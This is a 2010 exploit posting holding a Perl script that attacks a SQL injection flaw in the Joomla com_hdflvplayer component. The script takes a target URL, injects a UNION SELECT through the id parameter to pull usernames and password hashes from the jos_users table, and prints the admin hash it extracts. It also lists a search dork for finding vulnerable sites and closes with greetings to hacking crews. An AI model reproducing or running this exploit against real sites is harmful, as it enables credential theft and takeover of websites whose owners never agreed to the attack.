joomlahdflvplayer-sql.txt
Posted on 25 February 2010
#!/usr/bin/perl -w ############################################################################################### # # [~] Joomla Component com_hdflvplayer SQL injection exploit - (id) # [~] Author : kaMtiEz (kamzcrew@yahoo.com) # [~] Homepage : http://www.indonesiancoder.com # [~] Date : 15 February, 2010 # ############################################################################################### # # [ Software Information ] # # [+] Vendor : http://www.hdflvplayer.net/ # [+] Price : $ 99.00 # [+] Vulnerability : SQL injection # [+] Dork : inurl:"CIHUY" # [+] Type : commercial # ############################################################################################### # # USAGE : perl kaMz.pl # ############################################################################################### print " [!]=========================================================[!] "; print " [~] INDONESIANCODER TEAM [~] "; print " [!]=========================================================[!] "; print " [!]Joomla component com_hdflvplayer SQL injection exploit[!] "; print " [~] by kaMtiEz [~] "; print " [!]=========================================================[!] "; use LWP::UserAgent; print " site/path[!]http://www.indonesiancoder.com/kaMz/[!]:"; chomp(my $IBL13Z=<STDIN>); $kaMtiEz="concat(username,0x3a,password)"; $tukulesto="jos_users"; $pathloader="com_hdflvplayer"; $r3m1ck = LWP::UserAgent->new() or die "Could not initialize browser "; $r3m1ck->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $arianom = $IBL13Z . "/index.php?option=".$pathloader."&id=1+AND+1=2+UNION+SELECT+".$kaMtiEz.",1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+".$tukulesto."--"; $gonzhack = $r3m1ck->request(HTTP::Request->new(GET=>$arianom)); $contrex = $gonzhack->content; if ($contrex =~/([0-9a-fA-F]{32})/){ print " [+] CIHUY Admin Password Nya GAN [+]: $1 "; } else{print " [+] Exploit GAGAL GAN ![+] "; } ############################################################################################## # # GREETZZZZZ : # # INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah # tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack # Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah,ibl13z,r3m1ck # Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk # ##############################################################################################